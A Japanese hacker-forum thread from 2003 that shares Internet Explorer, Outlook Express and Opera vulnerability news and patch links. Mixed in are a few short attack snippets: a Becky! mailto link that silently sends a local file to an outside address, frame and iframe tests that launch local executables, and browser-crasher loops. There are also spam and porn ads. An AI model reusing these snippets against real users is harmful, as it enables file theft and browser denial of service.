またアンチウィルスソフトもメール受信時のスキャンはPOP3のみでHotmailなどのWebメールに対しては行われないので、
この時点でアンチウィルスソフトを常駐させていても反応しない。
ただしアンチウィルスソフトが常駐している場合は、添付ファイルを開くときに反応する。

したがって、Hotmailがウィルススキャンをしているから大丈夫だと誤解して、アンチウィルスソフトを常駐させずに
Outlook ExpressでHotmailを受信する設定にしている場合、ウィルスの添付ファイルは素通りしてくるので、
添付ファイルを開くと感染する。セキュリティホールがある場合には開かなくても感染する。

まとめ
1、HotmailはOutlook Expressで受信せずにブラウザで見に行く。
　ブラウザもOperaやNetscape等のInternet Explorer以外のものが望ましい。
2、アンチウィルスソフトは必ず導入して常駐させておく。ウィルス定義ファイルは常に最新にしておく。
3、Internet Explorer・Outlook ExpressはWindowsUpdateで常に最新の状態にしておく。

http://www.agemasukudasai.com/bloom/

>>381
> HotmailとOutlook Expressの組み合わせでウィルス感染する人が多いのでまとめておく。
> Hotmailはウィルスチェックをしているとはいうものの、
> それはブラウザでHotmailにアクセスした場合に添付ファイルを開く際にチェックするというもので、
> メールボックスに入る前に添付ファイルをスキャンするプロバイダのウィルスチェックサービスとは異なる。
> さらにOutlook ExpressでHotmailを受信する設定にしているとこのHotmailのウィルスチェック機能は働かず
> そのままOutlook Expressのフォルダにウィルスが入ってきてしまう。

知らなかった

Hotmailだけの為にOEを使い続けていたけど意味なかったのか

>>384
激しく同意。

>>384-385
テストウィルス"eicar"でテストしてみ。OEだとさっくり入ってくるよ。
でもブラウザでHotmailに行くと、添付ファイルをクリックした時に
「感染しています。どうしますか？」みたいなことを聞いてくる。

>>381
アンチウィルスソフトって一旦受信したOEのフォルダは
スキャンから除外してるから、
Hotmail経由でOEのフォルダにウィルスが入ってても、
スキャンしたときでも発見されないよね。

んでローカルにウィルスがあるといろいろ危ないよね。
なんかの拍子にアンチウィルスソフトが常駐でなくなったときに
クリックでもしたら大変。

OEでHotmail使うのはやめよう。

OE/IE代替として紹介されているOpera6/7にセキュリティホール。
スレ違いだが、一応紹介しておく。

[Opera 7/6] ダウンロード時の長いファイル名で起こるバッファオーバーフローによる脆弱性
http://opera.rainyblue.org/adv/opera02-dlfnbof.php

保守

>>372の不具合まだ修正されないのかなぁ。
長文のメール書いてるとOEが落ちるから、結構ショックだよね。

[VulnWatch] .MHT Buffer Overflow in Internet Explorer
http://archives.neohapsis.com/archives/vulnwatch/2003-q1/0118.html

Windows コンポーネントの未チェックのバッファによりWebサーバーが侵害される（MS03-007）
http://www.microsoft.com/japan/technet/security/bulletin/ms03-007.asp
このセキュリティ情報の対象となるユーザー :
　Microsoft(R) Windows(R) 2000 をご使用のシステム管理者
脆弱性の影響 : 攻撃者の任意のコードが実行される
最大深刻度 : 緊急
推奨する対応策 :
　管理者は、直ちにこの修正プログラムをインストールしてください。
影響を受けるソフトウェア :
　・Microsoft Windows 2000
修正プログラム ：
Microsoft Windows 2000:
この問題に対する日本語版修正プログラムは、次のサイトからダウンロード
できます。
・すべての言語 (NEC PC-9800 シリーズを除く)
(WU)
http://www.microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=ja
・NEC PC-9800 シリーズ
(WU)
http://www.microsoft.com/downloads/details.aspx?FamilyID=fbcf9847-d3d6-4493-8dcf-9ba29263c49f&DisplayLang=ja
(WU)このマークの付いている修正プログラムは Windows Update から
インストールすることもできます。

age

http://www.microsoft.com/japan/technet/security/bulletin/ms03-007.asp
今回の更新内容
このセキュリティ情報ページを更新し、影響を受ける Windows コンポーネント
を明確にしました。また、「よく寄せられる質問」 に IIS 5.0 に関する質問を
追加し、「修正プログラムに関する追加情報」 の 「警告」 欄に新しい情報を
追加しました。

>>392>>394
OEともIEとも関係なかったり…

>>388の修正済みバージョン、Opera7.03しかなかったが、
Opera6.06も、いまのところ英語版だけだが、リリースされた。
http://www.opera.com/windows/changelogs/606/
ftp://ftp.opera.com/pub/opera/win/606/en/（Opera6.06 EN)

ノルウェーOpera Software，セキュリティ・ ホールを修正した「Opera 7.03」を公開
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030314/1/

Windows全バージョンに「緊急」の脆弱性
http://www.zdnet.co.jp/news/0303/20/nebt_18.html

「MS03-009: ISA Server DNS アタック検出フィルタの問題により、サービス拒否が起こる (331065)」
http://www.microsoft.com/japan/technet/security/bulletin/ms03-009ov.asp
対象となる製品:Microsoft ISA Server 2000

>>397
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-008.asp?tag=nl

MS03-008 Windows スクリプト エンジンの問題により、コードが実行される(814078)
日本語ページ
http://www.microsoft.com/japan/technet/security/bulletin/ms03-008ov.asp
Windowsにまたもや「緊急」のホール，すべてのユーザーはWindowsUpdateの実施を
ISA Server 2000には「警告」のセキュリティ・ホール
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030320/1/

>>388>>396
「Opera パッケージ版」はセキュリティ・ホールがあるOpera 7.02，ユーザーはバージョン・アップを
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030320/2/

http://www.microsoft.com/japan/ie/downloads/recommended/ie55sp2/default.asp

現在Internet Explorer 5.5SP2/6のダウンロードは停止中、マイクロソフトが確認を行っています。

age

「IISを動かしていなくても危険」――Windows 2000の深刻なセキュリティ・ホール
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030325/1/

相次ぐ「緊急」にマヒするな，IISのホール は“過去最大級”の危険度
パッチ公開前に攻撃コードが存在，既に攻撃されている恐れあり
今週のSecurity Check [Windows編] （第91回，2003年3月26日）
http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20030325/1/

「MS03-010: RPC エンドポイント マッパーの問題により、サービス拒否の攻撃が実行される (331953)」
http://www.microsoft.com/japan/technet/security/bulletin/ms03-010ov.asp
○概要
この問題は、下記製品のリモート プロシージャ コール (RPC: Remote
Procedure Call) のエンドポイント マッパーに問題があり、サービス拒否の
攻撃を受ける可能性があります。その結果、悪意のあるユーザーにお客様の
コンピューター上のサービスを停止させられる可能性があります。
○対象となる製品
・Microsoft Windows NT 4.0
・Microsoft Windows 2000
・Microsoft Windows XP

>>406
Windows NT/2000/XPの機能を攻撃者が停止できるセキュリティ・ホール
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20030327/1/

当初の報告よりもずっと深刻だったWindows 2000のセキュリティホール
http://www.zdnet.co.jp/enterprise/0303/26/epn01.html
3月18日に公表されたWindows 2000のセキュリティホールが与える影響は、当初考
えられて いたよりもずっと広範囲に及ぶという。速やかなパッチの適用が必要だ。

Opera 7とNetscape 7.02 Webブラウザにサービス拒否攻撃を受ける弱点
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20030407/1/

Microsoft VMにまたもや「緊急」のセキュリティ・ホール，Windowsユーザーはすぐに対策を
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030410/1/
MS03-011 に関する情報
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/MS03-011ov.asp

>>410
これ5MBもあるし、鯖が混んでるのか、なかなか落ちてこないね。

米マイクロソフト，今後1年間のセキュリティの取り組みを明らかに
http://itpro.nikkeibp.co.jp/free/ITPro/USNEWS/20030416/3/

Windows Updateから修正パッチを適用できない問題が発覚，NTユーザーは注意
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030416/1/

「MS03-013: Windows カーネル メッセージ処理のバッファ オーバーランにより、権限が昇格する (811493)」
http://www.microsoft.com/japan/technet/security/bulletin/ms03-013ov.asp
影響を受けるソフトウェア
・Microsoft Windows NT 4.0
・Microsoft Windows NT 4.0 Terminal Server Edition
・Microsoft Windows 2000
・Microsoft Windows XP

Windowsに「重要」のセキュリティ・ホール，一般ユーザーに管理者権限を奪われる
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030417/1/

（＾＾）

age

　　 ∧＿∧
　　（　　＾＾ ）＜ ぬるぽ（＾＾）

sage

>>414
のセキュリティパッチいれるとXpのIE6が使い物にならないくらい遅くなるから注意。
アンインストールで元に戻った。

>>420
このあたりで報告されてるのと同じ？
http://winfaq.jp/cgi-bin/bbs2k/wforum.cgi?mode=allread&no=237706&page=50

>>421
俺の場合はIEだけ遅くなった。
パッチID(811493)調べるためにMS03-013のページ開こうとして20分かかった。(通常は10数秒)
その間CPUは100%振り切り(時々CPUステータスのゲットすら出来ない)
コーポレート契約のマカ4.5.1が入ってる。

>攻撃者が攻撃を行うには、直接コンソールで、またはターミナル セッションを介し、標的となるコンピュータに対話的にログオンできることが必要条件となります。
http://www.microsoft.com/japan/technet/security/bulletin/MS03-013.asp

MS03-013って、当面の間は導入する必要性は薄いような予感。

ここ面白かった

http://plaza16.mbn.or.jp/~satchel/

>>410MS03-011関連
Microsoft VMのサポートは2003年末まで，求められるアンインストール機能
相次ぐWindows Updateのトラブル，トラブル情報の周知を
今週のSecurity Check [Windows編] （第93回，2003年4月23日）
http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20030422/1/
　・Microsoft VMに「緊急」のセキュリティ・ホール
　・Microsoft VMのサポートは2003年末まで
　・トラブルが続出するWindows Update
　・Windows カーネルにホール，パッチ適用でパフォーマンスの低下も
　・ISA Serverにセキュリティ・ホール
　・Indexing Server for Windows NT 4.0用パッチが公開
　・TechNet Online セキュリティでは“月例”ドキュメント

IEとOutlook Expressに「緊急」の脆弱性
http://www.zdnet.co.jp/news/0304/24/nebt_06.html

>>426
WindowsUpdateにあがっている。
MS03-015
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/MS03-015ov.asp
MS03-014
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms03-014ov.asp

ちょっと前にMS03-014のパッチに問題があって異常終了するって有ったけど
それはもう改善されてんの？
もうMS03-014あてても大丈夫？

>>428
MS03-013では？>>420-423
MS03-014は公表されたばかりだが。

間違えた！
MS03-014じゃなくてMS03-004だった。


MS03-004 適用後 Outlook Express が正しく動作しない
http://support.microsoft.com/default.aspx?scid=kb;ja;814803

オペレーターとチャットで相談って使えんの？
今、初めて知ったんだけど。

>>428
MS03-004だろ。>>365
改善されてないよ。

MS03-014にMS03-004の不具合の修正がされてればいいのだが、詳細不明。

>>432
そうそれ。>>430

ここのところMSはパッチのリリースの速さの方に重点を置いている
ようなので、あわててパッチを当てない方が賢明。

しばらくして不具合報告がないようなら当てる、
自分に必要なパッチかよく検討してみてから当てる（>>423）、が吉。

もっとも、全くWindowsUpdateもしないで素のIE5.01とか使ってるのは論外。

>>426-427関連
IEとOutlook Expressに「緊急」のセキュリティ・ホール，Windows Updateの実施を
任意のコードを実行させられる恐れあり
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030424/1/

age

http://www.microsoft.com/japan/technet/security/bulletin/ms03-007.asp
今回の更新内容
このセキュリティ情報ページを更新し、脆弱性の調査をさらに続けた結果
Windows NT 4.0 についても同じ脆弱性が存在したため、Windows NT4.0
および Windows NT4.0 Terminal Server Edition 用の修正プログラム
の情報を追加しました。

Windows 2000と同じセキュリティ・ホールがWindows NTに，ただし深刻度は「重要」
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030424/2/

　

>>438
自分でやれ。

MS03-013不具合 - パフォーマンス低下（XP SP1）
http://www.microsoft.com/japan/technet/security/bulletin/fq03-013.asp

age

Sunの最新JavaランタイムがIEで使えないことが判明したんで
SunのをウンインスコしてMS-VMを最新にしたところ
セキュ確認済みの未認可AxtiveXが動かない
そこでサンドボックス限定で許可したらOK

とゆーことは

SunのプラグインはOSのセキュ設定レベル見てない
サイト鯖自体のセキュ区分で許可の有無はできるが
こういうあいまいな部分で素通しなのか
ネスケみてえだ

「メール本文を開くだけで感染するウイルスに注意」――IPA
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030501/1/

結局shurikenpro買ったよ

Becky! なら安心と思ったら大間違い。セキュリティホールが見つかりました。

http://slashdot.jp/security/03/05/02/2151212.shtml?topic=16


65 名前：名無しさん＠お腹いっぱい。 投稿日：03/05/03 17:26 ID:nWmKJb8r
おまいら、大変です！！

mailto:[email protected]?X-Becky-Attachment=C:/Program%20Files/Katjusha/kakikomi.txt
&X-Becky-Action=send&subject=End_of_the_life&body=moudamepo

こんなリンクが張られたら一巻の終わりじゃないですか？
すぐにかちゅーしゃのインスト先を変えるか、mailto:設定を変えましょう！！


67 名前：65 投稿日：03/05/03 17:29 ID:nWmKJb8r
補足。

>>45みたいのだと送信前に確認ダイアログが開くけど、
subjectとbodyを付けると確認なしでメールが送られてしまいます。

だから最新パッチあててるOEの方が安全だってば。

2.05.11ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━━!!!!!

http://www.rimarts.co.jp/becky-j.htm

>>440
ウィルスバスターがダメなんだと

>>448
ソースは？

IEとスクリプトの“危険な関係”（上）
スクリプトの脅威
http://itpro.nikkeibp.co.jp/members/NBY/techsquare/20030502/2/
IEとスクリプトの“危険な関係”（中）
クロスサイトが危ない
http://itpro.nikkeibp.co.jp/members/NBY/techsquare/20030502/3/
IEとスクリプトの“危険な関係”（下）
IEがActiveXを利用する仕組み
http://itpro.nikkeibp.co.jp/members/NBY/techsquare/20030502/4/

http://homepage.mac.com/hitomi18/

Opera for Windowsに新しいセキュリティ・ホール
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20030502/1/
Opera 7.10 for Windowsにオーバーフローによる脆弱性の可能性
http://jp.opera.com/cgi-bin/supsearch2.cgi?options=index&name=j101

Internet Explorerがfile:// リクエストの際にゾーンを無視する
http://www.symantec.com/region/jp/sarcj/security/content/7539.html

>>453
うわっ　またなんかすごいの来たー

MSサポートを装うウイルスに注意
http://www.zdnet.co.jp/news/0305/19/njbt_03.html

IEに危険なセキュリティ・ホール，スクリプトを無効にしても攻撃を受ける
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030517/1/

米で“自己消滅するDVD”導入へ
http://www.zdnet.co.jp/news/0305/19/xert_disney.html

>>455
>IEに危険なセキュリティ・ホール，スクリプトを無効にしても攻撃を受ける
これはスゴ過ぎる！
H系DLに紛れ込んで何でもやり放題？

Hotfix出てないんかい

>>453
>>455
やばいやん、それって。幾らなんでもあまりにも。
最近出た中では、一番嫌っすね。

Redlofみたいなhtmlファイル汚染系ウイルスに組み込ませたら、楽しげですが。

＞IEに危険なセキュリティ・ホール，スクリプトを無効にしても攻撃を受ける
ここにも記事載ってる
http://www.st.ryukoku.ac.jp/~kjm/security/memo/2003/05.html#20030516_ie
マック版IEも同じ穴があるみたいだね。

ここサンプルページ(要注意)
http://www.malware.com/forceframe.html

２７才人妻です。ダンナがかまってくれないので、いつも一人でオナってます。
でも、けっこうオカズに困るんですよね。そんな時見つけたのがＹＵＩＳ！！
安いし、安心して買えるしなかなかいいですよ！いつもバイブ物買ってます！

http://www.dvd-yuis.com/

ファイルのダウソ禁止してダウソはツール使うしかなさげだな。

Opera使いの俺はだいじょうび

報告。
デモページ踏んでみたんすけど。
20回目位にてNorton Personal Firewallのダイアログが出てきますて。
http://members.tripod.co.jp/nekohako/norton.jpg
「許可しないよん！」だと、無限別窓は消え、インスコまで至らないようでした。
ちょい疲れてるんで、もう寝まする。誰か追試してくだされ。

プロバとどゆ回線契約してるかとか、パソの性能もアリっすかね。

下痢後の酒はちょい体にこたえて。
ちょい吐いてきまする。

>>459
やってみたけど
途中でieがエラー吐いて落ちる。
非力なマシンだと大事にはいたらないのかな？

>>465
（・３・）　エェー　スラッシュ.に同じような報告あったYO

>>459 のデモ
｢現在のセキュリティではDLできません｣のダイアログ永遠に開きまくり
IE落としたら｢ダウンロードを中止していいですか？｣だってｗ
<FRAME SRC="C:\winnt\****.exe"></FRAME> こんなの並べてるだけでかいな
これマジでやばいよ

Irvineのクリックキャッチを有効にしとくと
1個ずつしかダイアログが出なくなるから大丈夫げ

━―━―━―━―━―━―━―━―━[JR山崎駅（＾＾）]━―━―━―━―━―━―━―━―━―

>>453 >>459 のFixまだ無いの？

またもやパッチに不具合，すべてのパッチをアンインストール可能に
http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20030526/1/

ここのところパフォーマンスダウンの問題で、いまだFIXされない奴
溜まってるのに。。

◎ちょっと見て見て！！◎
http://yahooo.s2.x-beat.com/linkvp/linkvp.html

そろそろ新OS出すために
バグをちらほらと小出しにしてる感じだな

age

最善の対策：ＭＳＯＥ使うな。

--------------------------終了----------------------------

>>477
では、お勧めのメーラは？

>>478
メモ帳以外にあるか?メモ帳以上にいいメーラーがあったら知りたいもんだ。

厨な質問なんですが、ﾄﾞｰﾅﾂPしか使ってないんだけどIEのﾊﾟｯﾁ当ててないと
まずいんですか？

>>480
DonutPはIEコンポーネントブラウザです

>>481
まずいってことですね？
ｲﾏｲﾁその言葉の意味がよくわからんで、、、

ﾊﾟｯﾁ当てて出直してきます。

>>440関連
Windows XPでパフォーマンスに悪影響を与えるパッチの改訂版が登場
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20030602/1/

MS03-019　今回の更新内容
攻撃者がコード実行を行える可能性があるため、深刻度を重要に
変更し本セキュリティ情報を変更しました。
修正プログラムを適用済みのお客様は、再適用の必要はありません。
http://www.microsoft.com/japan/technet/security/bulletin/ms03-019.asp

Windows NT/2000のセキュリティ・ホールの深刻度が，より深刻な「重要」に変更
　リモートから任意のコードを実行できることが明らかに
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030602/1/

HTMLメールはやめよう
http://itpro.nikkeibp.co.jp/free/ITPro/OPINION/20030530/2/

OEは常にウイルスのターゲットになるからやめとけ

>>478
Edmaxフリー版とか

>>479
どうやってメモ帳をメーラーとして使うんだよ

>>485
「交通事故を起こすので車に乗るのをやめましょう。」って感じの記事だな。

完全にウィルスメールを無くすには以下の仕様のメールソフトになると思う。
・プレーンテキストのみ
・ファイル添付不可
・ハイパーリンク不可

>>485
HTMLメールもウザイが特定のフォントやサイズ以外だと
書式が崩れるメールも止めて欲しい。

>>486
＞どうやってメモ帳をメーラーとして使うんだよ

電信8号

EdMAXはメッセージを来たままの状態で保存しないから、糞。

Microsoft，「IE 6 SP1が独立した最後のWebブラウザ」と語る
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20030603/1/
マイクロソフト、IEスタンドアローン版廃止へ
http://japan.cnet.com/news/media/story/0,2000047715,20054861,00.htm

先生方よろしくお願いします。
ﾒｰﾙｿﾌﾄは outlook expressを使用していますが
受信ﾒｰﾙ、送信ﾒｰﾙが全て無くなっています。
何日か前にﾌﾞﾗｸﾗ踏んでしまい、その後受信ﾒｰﾙだけが全て
無くなっており、何日か過ぎました。
そして今日その間に届いていた受信ﾒｰﾙ＋送信ﾒｰﾙが無くなって
いました。
原因は先日踏んだﾌﾞﾗｸﾗなのでしょうか？
そしてほっておくとまたこのような事がおきるのでしょうか？
良きｱﾄﾞﾊﾞｲｽお願いします。

http://homepage.mac.com/hiroyuki43/jaz09.html

>>492
諦めて、ＯＥを再インスコすれ
その際にウィルススキャンするのも忘れずに

>>492
".dbx"でドライブ内を検索してみれ。
メールの保存先が変わっただけなら残っているかもしれない。

ブラクラ踏んで泣く前に、ブラクラチェッカー
http://www.jah.ne.jp/~fild/cgi-bin/LBCC/lbcc.cgi?

>>494、>>495さん
ありがとうございました

MS03-020: Internet Explorer 用の累積的な修正プログラム (818529)
http://www.microsoft.com/japan/technet/security/bulletin/MS03-020ov.asp
●概要
この修正プログラムは、Internet Explorer に影響を及ぼすセキュリティ上の
問題を排除する累積的な修正プログラムです。
以前に公開された MS03-015 : Internet Explorer 用の累積的な
修正プログラム (813489) で修正された問題に加えて、新たに 2 つの問題を
排除します。
●対象となる製品
・Internet Explorer 6、6 Service Pack 1
・Internet Explorer 5.5 Service Pack 2
・Internet Explorer 5.01 Service Pack 3 for Windows 2000
注意: Internet Explorer 5.01 Service Pack 3 の修正プログラムは、
Windows 2000 環境にのみ適用可能です。

●修正プログラム
・Internet Explorer 6 Service Pack 1 (WU)
http://download.microsoft.com/download/3/E/9/3E9E4C1B-C41F-4B24-A08B-AFE2294B499E/q818529.exe

・Internet Explorer 6 Service Pack 1 for Windows Server 2003
http://download.microsoft.com/download/1/F/D/1FD5A702-0B2C-40E0-A940-0CE3749854C2/WindowsServer2003-kb818529-x86-JPN.exe
この修正プログラムは Windows Server 2003 専用になります

・Internet Explorer 6 (WU)
http://download.microsoft.com/download/9/C/B/9CB33CE6-0063-44E9-A641-9E83F5C7C0F5/q818529.exe

・Internet Explorer 5.5 Service Pack 2 (WU)
http://download.microsoft.com/download/1/C/9/1C97DB36-978A-4562-8AA3-3B49ADA6BF04/q818529.exe

・Internet Explorer 5.01 Service Pack 3 (WU)
http://download.microsoft.com/download/F/2/C/F2C1FF05-F40C-4EFC-9117-91209B807921/q818529.exe

注意:64bit 版の Windows をお使いのお客様は、次の修正プログラムの適用を
お願いいたします。

・Windows XP Internet Explorer 6 SP1
http://download.microsoft.com/download/1/E/F/1EF8CF12-6110-494F-976B-0991BAE38A3A/q818529.exe

・Windows Server 2003 Internet Explorer 6 Service Pack 1 (64bit)
http://download.microsoft.com/download/C/5/4/C5458687-A30D-424C-BF79-5A16A57763BA/WindowsServer2003-kb818529-ia64-JPN.exe

(WU) マークの付いている修正プログラムは Windows Update から
インストールすることもできます。

>>497-498
IEに2種類の危険なセキュリティ・ホール，任意のプログラムを実行させられる
マイクロソフトは累積パッチを公開
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030605/1/
今回公開されたセキュリティ・ホールは以下の2種類。
（1）Objectタグの処理に関するセキュリティ・ホール
（2）ファイルのダウンロード・ダイアログに関するセキュリティ・ホール

新たに2つ「緊急」の脆弱性、MSがIE用の累積パッチを公開
マイクロソフトは6月5日、Internet Explorer 6/5.5/5.01用の新たな累積パッチ（MS03-020）を公開した。
http://www.zdnet.co.jp/enterprise/0306/05/epn02.html

>>498 って >>455の
"IEに危険なセキュリティ・ホール，スクリプトを無効にしても攻撃を受ける"

のIEでオーバーフロースタック利用してバックグラウンドでDL実行の
Fixですよね？

>>453 のゾーン無視の方はどうなってるのだろ。。。

私も便乗でお尋ねしたいのですが、
>>453の「ゾーン無視」や
>>455の「スクリプトを無効にしても・・・」って、
「IFRAMEのプログラムとファイルの起動」を全ゾーン
（「マイコンピュータ」を含む）で無効にしててもダメですかね？

>>501, >>501
スタックオーバーフローじゃない。大量にダイアログ開こうとしてリソースが足りなくなって失敗する。
IEはそれを「開く」が選択されたと誤解する。シマンテックの「ゾーン無視」は誤り。
どちらもMS03-020で直る(はず)。

>>503
さんきゅです

>>502
どんなに制限してもIEオプションでは非表示の
"zone 0"→My computerがあるからダメじゃない？

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones
以下各ゾーン見れば解るよ

>>505
ふつー、この板の住人ならセキュリティセッティングに「マイコンピュータ」が出てくる。

あ！ マイコンピューターもちゃんと視野に入ってるのね >>502

>>507
そうでぃ〜す！　いずれにしても、レスありがとうございます。

まぁ他人に聞いてばかりいないで自分で試せばいいのか
と思って>>459のサンプルページ見に行ったのですが、
もうありませんでした。ざんねん。

>>508
↓こんな感じでテストすればいい。ダウンロードダイアログが出たら負け。
>>502の設定じゃ出てくるから負け。

<html>
<body>
<iframe src="file://c|/windows/notepad.exe">
</iframe>
</body>
</html>

>>509
さっそくやってみました。たしかに出ました、ダイアログが！
な〜るほど、こういうことなんですねぇ・・・。
ありがとうございますた。

「ファイル交換ソフトで感染を広げるウイルスの届け出数が急増中」――IPA
ブラウザ・クラッシャによる被害も増加中，設定変更やIE以外のブラウザの使用を
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030605/2/

コンピュータウイルスの届出状況について
http://www.ipa.go.jp/security/txt/2003/06.html

メール機能を悪用する主なウイルス一覧
情報処理振興事業協会セキュリティセンター(IPA/ISEC)
http://www.ipa.go.jp/security/topics/mail_aware.html
最終更新日：2003年 6月 5日

age

age

みてね〜♪
http://www1.free-city.net/home/s-rf9/page002.html

>>485
【結果発表】HTMLメールをどう思いますか？
http://itpro.nikkeibp.co.jp/free/ITPro/OPINION/20030609/1/

【川崎憲次郎投手をオールスターに！】

ヤクルト時代は88勝を挙げ'98には最多勝のタイトルを獲得。特に巨人戦には滅法
強く、現役最多の勝利数を誇る。'00年オフにＦＡ権を行使し打倒読売、そして優勝
請負人として満を持して中日入団。
背番号２０は元祖燃える男・星野仙一が着けていた番号だった。
しかしここからが苦難の始まりだった。 度重なるケガ。
エースとしての働きを期待されながら２軍で、練習すらできない日々。
２年間一軍で1球も投げていない。
ファンはその巨人キラーの異名と熱い期待をいまだに忘れることができない。
３年契約の３年目、ようやく傷も癒え練習を再開。彼にふさわしい舞台とは？
そう彼に相応しい復活の舞台はオールスターだ！
↓【憲次郎への投票はこちらから】↓
http://allstar.sanyo.co.jp/
6月10日時点の選手別投票数http://allstar.sanyo.co.jp/result/detail.html



　　　　　　

セキュリティ・ホールを修正した「Opera7.11 for Windows 日本語版」が公開
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030612/1/

>>518
スレ違いだろ。

MS03-020って烈しく無意味なのですが・・
http://www.malware.com/forceframe.html

>>520
Operaもだめみたい
mozillaは大丈夫

>>520氏ね厨房
大質量IFRAME
iframe タグが大量にあります。
高い確率で悪意があるものと考えられます。

ヽ(`Д´)ﾉ ｳﾜｧｧｧｧｰｰｰｰｰｰﾝ!!!

>>520
任意のアプリケーションが実行されるセキュリティホールは対策したが
ファイルのダウンロードが表示されてブラクラ状態になるのは放置ですね。

大量のウィンドウ表示を制限する機能をWindowsに付けて欲しいよ。

ウインドーズ９８は、もう更新できないのでしょうか？
更新しようとしても、９８についの説明がありません。

それと、インテリマウスがしょっちゅう自動的にクリック
するようになってしまうのはブリクラと関係があるのでしょうか？
壊れ始めているよ〜だ！　SOS,　SOS,　,　,

>>525
Win98は今月末までのサポート。
Windows板http://pc2.2ch.net/win/

マウスの件はマウスを買い換えろ。壊れてるだけ。
念のためウィルススキャンしろ。

おっ、Piggybackで止まった

http://homepage.mac.com/hiroyuki44/

>>522
>>459で既出のサンプルページだろ。
>>520も一言説明して貼るべきとは思うが・・・。

直リンもやめるべきだろう。
>>520のメール欄を見る限りは確信犯。

age

IEの新しい累積パッチにはいくつかの注意点，既に適用したユーザーも再確認を
　既知のホールを解消できるものの不完全，ブラウザ・クラッシャは回避できない
　今週のSecurity Check [Windows編] （第97回，2003年6月18日）
http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20030617/1/

Microsoft的にはブラクラは優先的に対処すべきセキュリティホール
として扱われていないから仕方ないだろ
while (1) { window.open() }とか
<img src="mailto:sage">…(えんえんと続く)とか
<input type>とか
http://msgs.securepoint.com/cgi-bin/get/bugtraq0303/107.html とか
単にブラウザが落ちるだけのものならいくらでもある

あげ

☆頑張ってまーす！！☆
http://yahooo.s2.x-beat.com/linkvp/linkvp.html

>>533
OSごと落ちる9x系
MS的には「昔そんなのありましたっけ？さっさとXP買ってね」

まあ優先は他の穴だとは思うけどさ

>>526
どうもありがとう。行って来ました。

Win2k/XPなら制限付きユーザーでブラウズすると、
IEが危険とされる理由のひとつである、「勝手にバイナリを
ダウンロードして実行したりインストールしたりする機能」が
署名の有無やゾーンにかかわらず完全に無効になるから
かなり安全になる。

age

あげ

　　_, ._
　 （　ﾟ Дﾟ）
　　( つ　O 　　ｶﾞｼｬ
　　と＿)_)　　__
　　　　　　　（__(）､;.o：。
　　　　　　　　　ﾟ*･:.｡

age

IE/OEとは直接関係ないが、
「MS03-021: Windows Media Player の問題により、メディアライブラリがアクセスされる (819639) 」
http://www.microsoft.com/japan/technet/security/bulletin/MS03-021ov.asp
●対象となる製品
・Microsoft Windows Media Player 9 Series
・Microsoft Windows Media Player on Windows Server 2003
●以下の製品はこの問題の影響を受けません。
・Microsoft Windows Media Player 6.4
・Microsoft Windows Media Player 7.1
・Microsoft Windows Media Player for Windows XP

IEブラウザに新たな欠陥：米マイクロソフトは「調査中」
http://japan.cnet.com/news/ent/story/0,2000047623,20057501,00.htm

IE5.5SP2のダウンロードは終了したはずだが、
Internet Explorer 5.5 SP2 ダウンロード提供終了のご案内
http://www.microsoft.com/japan/ie/downloads/recommended/ie55sp2/default.asp
なぜかダウンロードが復活しているので、必要な方はいまのうちにどうぞ。
http://www.microsoft.com/downloads/details.aspx?FamilyID=0a50996b-deb9-4a46-81da-abef1ebbd08a&DisplayLang=ja

>>545
ODNのCD-ROMを店からもらってきた方が後々いいかもしれない

>>545
Meのサポートが終了するまでという名目で復活させたようだが
やはりMicrosoft VMが入ってるからというのが真相だろうな
そういや控訴審はどうなったんだ? 今月あたり判決が出るはずなんだが

http://www.zdnet.co.jp/news/0306/27/nebt_18.html
判決出た。搭載命令は撤回

米Sunと米MSのJava訴訟，Java搭載の仮命令は差し戻し
http://itpro.nikkeibp.co.jp/free/ITPro/USNEWS/20030627/6/

>>545
ie5setup.exeはダウソできたものの、Download Siteに接続するとすぐエラーになってしまう。
cab一式はサーバから削除されてしまってるんじゃないか？

>>550
そうか。じゃ、やっぱりODNのCD-ROM貰ってくるしかないか…

>>551
駅に置いてあるやつでいいの？

ＷＩＮ９８だが、もうすぐアップデートできなくなるらしい。
DirectX 9.0a ?(DirectX 9.0a には、セキュリティとパフォーマンスを向上するための
更新と、DirectX テクノロジのすべてにわたる新機能が含まれていますという説明の
もの)、ダウンロードしておいたほうが良い？
ダウンロードしてなにか問題がなかったでしょうか？　あったような？

>>553
（ ﾟдﾟ）ﾎﾟｶｰﾝ

私のところにメールが頻繁に届きます。
本当に簡単な仕事ですか？と聞かれますので
答えました。簡単なビジネスです。１日の労働時間は
２時間です。皆さんは０円から行い、
